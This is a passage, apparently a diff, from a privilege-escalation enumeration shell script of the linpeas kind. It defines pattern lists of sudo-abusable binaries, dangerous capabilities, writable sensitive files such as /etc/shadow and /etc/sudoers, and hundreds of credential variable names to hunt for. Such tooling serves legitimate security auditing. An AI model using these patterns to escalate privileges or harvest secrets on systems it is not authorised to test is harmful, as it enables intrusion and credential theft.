eb$|ed$|efax$|elvish$|emacs$|enscript$|env$|eqn$|espeak$|ex$|exiftool$|expand$|expect$|facter$|file$|find$|fish$|flock$|fmt$|fold$|fping$|ftp$|gawk$|gcc$|gcloud$|gcore$|gdb$|gem$|genie$|genisoimage$|ghc$|ghci$|gimp$|ginsh$|git$|grc$|grep$|gtester$|gzip$|hd$|head$|hexdump$|highlight$|hping3$|iconv$|iftop$|install$|ionice$|ip$|irb$|ispell$|jjs$|joe$|join$|journalctl$|jq$|jrunscript$|jtag$|julia$|knife$|ksh$|ksshell$|ksu$|kubectl$|latex$|latexmk$|ldconfig$|less$|lftp$|links$|ln$|loginctl$|logsave$|look$|ltrace$|lua$|lualatex$|luatex$|lwp-download$|lwp-request$|mail$|make$|man$|mawk$|minicom$|more$|mosquitto$|mount$|msfconsole$"
+sudoVB2="msgattrib$|msgcat$|msgconv$|msgfilter$|msgmerge$|msguniq$|mtr$|multitime$|mv$|mysql$|nano$|nasm$|nawk$|nc$|ncdu$|ncftp$|neofetch$|nft$|nice$|nl$|nm$|nmap$|node$|nohup$|npm$|nroff$|nsenter$|ntpdate$|octave$|od$|openssl$|openvpn$|openvt$|opkg$|pandoc$|paste$|pdb$|pdflatex$|pdftex$|perf$|perl$|perlbug$|pexec$|pg$|php$|pic$|pico$|pidstat$|pip$|pkexec$|pkg$|posh$|pr$|pry$|psftp$|psql$|ptx$|puppet$|pwsh$|python$|rake$|rc$|readelf$|red$|redcarpet$|restic$|rev$|rlwrap$|rpm$|rpmdb$|rpmquery$|rpmverify$|rsync$|ruby$|run-mailcap$|run-parts$|runscript$|rview$|rvim$|sash$|scanmem$|scp$|screen$|script$|scrot$|sed$|service$|setarch$|setfacl$|setlock$|sftp$|sg$|shuf$|slsh$|smbclient$|snap$|socat$|soelim$|softlimit$|sort$|split$|sqlite3$|sqlmap$|ss$|ssh-agent$|ssh-keygen$|ssh-keyscan$|ssh$|sshpass$|start-stop-daemon$|stdbuf$|strace$|strings$|su$|sudo$|sysctl$|systemctl$|systemd-resolve$|tac$|tail$|tar$|task$|taskset$|tasksh$|tbl$|tclsh$|tcpdump$|tdbtool$|tee$|telnet$|terraform$|tex$|tftp$|tic$|time$|timedatectl$|timeout$|tmate$|tmux$|top$|torify$|torsocks$|troff$|ul$|unexpand$|uniq$|unshare$|unsquashfs$|unzip$|update-alternatives$|uudecode$|uuencode$|vagrant$|valgrind$|varnishncsa$|vi$|view$|vigr$|vim$|vimdiff$|vipw$|virsh$|w3m$|wall$|watch$|wc$|wget$|whiptail$|wireshark$|wish$|xargs$|xdg-user-dir$|xdotool$|xelatex$|xetex$|xmodmap$|xmore$|xpad$|xxd$|xz$|yarn$|yash$|yum$|zathura$|zip$|zsh$|zsoelim$|zypper$"
+sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount"
+sudoG="NOEXEC"
+
+capsVB="cap_sys_admin:mount|python \
+cap_sys_ptrace:python \
+cap_sys_module:kmod|python \
+cap_dac_override:python|vim \
+cap_chown:chown|python \
+cap_former:chown|python \
+cap_setuid:gdb|node|perl|php|python|ruby|rview|rvim|view|vim|vimdiff \
+cap_setgid:gdb|node|perl|php|python|ruby|rview|rvim|view|vim|vimdiff \
+cap_net_raw:python|tcpdump"
+
+
+capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module"
+containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin"
+
+OLDPATH=$PATH
+ADDPATH=":/usr/local/sbin\
+ :/usr/local/bin\
+ :/usr/sbin\
+ :/usr/bin\
+ :/sbin\
+ :/bin"
+spath=":$PATH"
+for P in $ADDPATH; do
+ if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi
+done
+
+# Test if sed supports -E or -r
+E=E
+echo | sed -${E} 's/o/a/' 2>/dev/null
+if [ $? -ne 0 ] ; then
+ echo | sed -r 's/o/a/' 2>/dev/null
+ if [ $? -eq 0 ] ; then
+ E=r
+ else
+ echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}"
+ fi
+fi
+
+writeB="00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\.sh$|\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\.timer$|\.service$|.socket$"
+writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo $PATH 2>/dev/null | sed 's/:\.:/:/g' | sed 's/:\.$//g' | sed 's/^\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH
+
+if [ "$MACPEAS" ]; then
+ sh_usrs="ImPoSSssSiBlEee"
+ nosh_usrs="ImPoSSssSiBlEee"
+ dscl . list /Users | while read uname; do
+ ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
+ if grep -q \"$ushell\" /etc/shells; then sh_usrs="$sh_usrs|$uname"; else nosh_usrs="$nosh_usrs|$uname"; fi
+ done
+else
+ sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere
+ # Surround each username with word boundary character '\b' to prevent false positives caused by short user names (e.g. user "sys" shouldn't highlight partial match on "system")
+ nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" |awk '{ print "\\b" $0 }' | sort | cut -d ":" -f 1 | sed s/$/\\\\b/g | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee"
+fi
+knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|nobody|Debian\-\+|rtkit|systemd\+'
+if ! [ "$USER" ]; then
+ USER=$(whoami 2>/dev/null || echo -n "UserUnknown")
+fi
+if [ ! "$HOME" ]; then
+ if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; # Mac home
+ else HOME="/home/$USER";
+ fi
+fi
+Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|')
+
+# These variables are divided into several different ones because NetBSD requires that.
+pwd_inside_history="az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd"
+
+pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID"
+pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID"
+pwd_in_variables3="CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION"
+pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId"
+pwd_in_variables5="eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER"
+pwd_in_variables6="GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER"
+pwd_in_variables7="MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SECRET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET"
+pwd_in_variables8="OKTA_OAUTH2_ISSUER|OMISE_KEY|OMISE_PKEY|OMISE_PUBKEY|OMISE_SKEY|ONESIGNAL_API_KEY|ONESIGNAL_USER_AUTH_KEY|OPENWHISK_KEY|OPEN_WHISK_KEY|OSSRH_PASS|OSSRH_SECRET|OSSRH_USER|OS_AUTH_URL|OS_PROJECT_NAME|OS_TENANT_ID|OS_TENANT_NAME|PAGERDUTY_APIKEY|PAGERDUTY_ESCALATION_POLICY_ID|PAGERDUTY_FROM_USER|PAGERDUTY_PRIORITY_ID|PAGERDUTY_SERVICE_ID|PANTHEON_SITE|PARSE_APP_ID|PARSE_JS_KEY|PAYPAL_CLIENT_ID|PAYPAL_CLIENT_SECRET|PERCY_TOKEN|PERSONAL_KEY|PERSONAL_SECRET|PG_DATABASE|PG_HOST|PLACES_APIKEY|PLACES_API_KEY|PLACES_APPID|PLACES_APPLICATION_ID|PLOTLY_APIKEY|POSTGRESQL_DB|POSTGRESQL_PASS|POSTGRES_ENV_POSTGRES_DB|POSTGRES_ENV_POSTGRES_USER|POSTGRES_PORT|PREBUILD_AUTH|PROD.ACCESS.KEY.ID|PROD.SECRET.KEY|PROD_BASE_URL_RUNSCOPE|PROJECT_CONFIG|PUBLISH_KEY|PUBLISH_SECRET|PUSHOVER_TOKEN|PUSHOVER_USER|PYPI_PASSOWRD|QUIP_TOKEN|RABBITMQ_SERVER_ADDR|REDISCLOUD_URL|REDIS_STUNNEL_URLS|REFRESH_TOKEN|RELEASE_GH_TOKEN|RELEASE_TOKEN|remoteUserToShareTravis|REPORTING_WEBDAV_URL|REPORTING_WEBDAV_USER|repoToken|REST_API_KEY|RINKEBY_PRIVATE_KEY|ROPSTEN_PRIVATE_KEY|route53_access_key_id|RTD_KEY_PASS|RTD_STORE_PASS|RUBYGEMS_AUTH_TOKEN|s3_access_key|S3_ACCESS_KEY_ID|S3_BUCKET_NAME_APP_LOGS|S3_BUCKET_NAME_ASSETS|S3_KEY"
+pwd_in_variables9="S3_KEY_APP_LOGS|S3_KEY_ASSETS|S3_PHOTO_BUCKET|S3_SECRET_APP_LOGS|S3_SECRET_ASSETS|S3_SECRET_KEY|S3_USER_ID|S3_USER_SECRET|SACLOUD_ACCESS_TOKEN|SACLOUD_ACCESS_TOKEN_SECRET|SACLOUD_API|SALESFORCE_BULK_TEST_SECURITY_TOKEN|SANDBOX_ACCESS_TOKEN|SANDBOX_AWS_ACCESS_KEY_ID|SANDBOX_AWS_SECRET_ACCESS_KEY|SANDBOX_LOCATION_ID|SAUCE_ACCESS_KEY|SECRETACCESSKEY|SECRETKEY|SECRET_0|SECRET_10|SECRET_11|SECRET_1|SECRET_2|SECRET_3|SECRET_4|SECRET_5|SECRET_6|SECRET_7|SECRET_8|SECRET_9|SECRET_KEY_BASE|SEGMENT_API_KEY|SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE|SELION_SELENIUM_USE_SAUCELAB_GRID|SENDGRID|SENDGRID_API_KEY|SENDGRID_FROM_ADDRESS|SENDGRID_KEY|SENDGRID_USER|SENDWITHUS_KEY|SENTRY_AUTH_TOKEN|SERVICE_ACCOUNT_SECRET|SES_ACCESS_KEY|SES_SECRET_KEY|setDstAccessKey|setDstSecretKey|setSecretKey|SIGNING_KEY|SIGNING_KEY_SECRET|SIGNING_KEY_SID|SNOOWRAP_CLIENT_SECRET|SNOOWRAP_REDIRECT_URI|SNOOWRAP_REFRESH_TOKEN|SNOOWRAP_USER_AGENT|SNYK_API_TOKEN|SNYK_ORG_ID|SNYK_TOKEN|SOCRATA_APP_TOKEN|SOCRATA_USER|SONAR_ORGANIZATION_KEY|SONAR_PROJECT_KEY|SONAR_TOKEN|SONATYPE_GPG_KEY_NAME|SONATYPE_GPG_PASSPHRASE|SONATYPE_PASSSONATYPE_TOKEN_USER|SONATYPE_USER|SOUNDCLOUD_CLIENT_ID|SOUNDCLOUD_CLIENT_SECRET|SPACES_ACCESS_KEY_ID|SPACES_SECRET_ACCESS_KEY"
+pwd_in_variables10="SPA_CLIENT_ID|SPOTIFY_API_ACCESS_TOKEN|SPOTIFY_API_CLIENT_ID|SPOTIFY_API_CLIENT_SECRET|sqsAccessKey|sqsSecretKey|SRCCLR_API_TOKEN|SSHPASS|SSMTP_CONFIG|STARSHIP_ACCOUNT_SID|STARSHIP_AUTH_TOKEN|STAR_TEST_AWS_ACCESS_KEY_ID|STAR_TEST_BUCKET|STAR_TEST_LOCATION|STAR_TEST_SECRET_ACCESS_KEY|STORMPATH_API_KEY_ID|STORMPATH_API_KEY_SECRET|STRIPE_PRIVATE|STRIPE_PUBLIC|STRIP_PUBLISHABLE_KEY|STRIP_SECRET_KEY|SURGE_LOGIN|SURGE_TOKEN|SVN_PASS|SVN_USER|TESCO_API_KEY|THERA_OSS_ACCESS_ID|THERA_OSS_ACCESS_KEY|TRAVIS_ACCESS_TOKEN|TRAVIS_API_TOKEN|TRAVIS_COM_TOKEN|TRAVIS_E2E_TOKEN|TRAVIS_GH_TOKEN|TRAVIS_PULL_REQUEST|TRAVIS_SECURE_ENV_VARS|TRAVIS_TOKEN|TREX_CLIENT_ORGURL|TREX_CLIENT_TOKEN|TREX_OKTA_CLIENT_ORGURL|TREX_OKTA_CLIENT_TOKEN|TWILIO_ACCOUNT_ID|TWILIO_ACCOUNT_SID|TWILIO_API_KEY|TWILIO_API_SECRET|TWILIO_CHAT_ACCOUNT_API_SERVICE|TWILIO_CONFIGURATION_SID|TWILIO_SID|TWILIO_TOKEN|TWITTEROAUTHACCESSSECRET|TWITTEROAUTHACCESSTOKEN|TWITTER_CONSUMER_KEY|TWITTER_CONSUMER_SECRET|UNITY_SERIAL|URBAN_KEY|URBAN_MASTER_SECRET|URBAN_SECRET|userTravis|USER_ASSETS_ACCESS_KEY_ID|USER_ASSETS_SECRET_ACCESS_KEY|VAULT_APPROLE_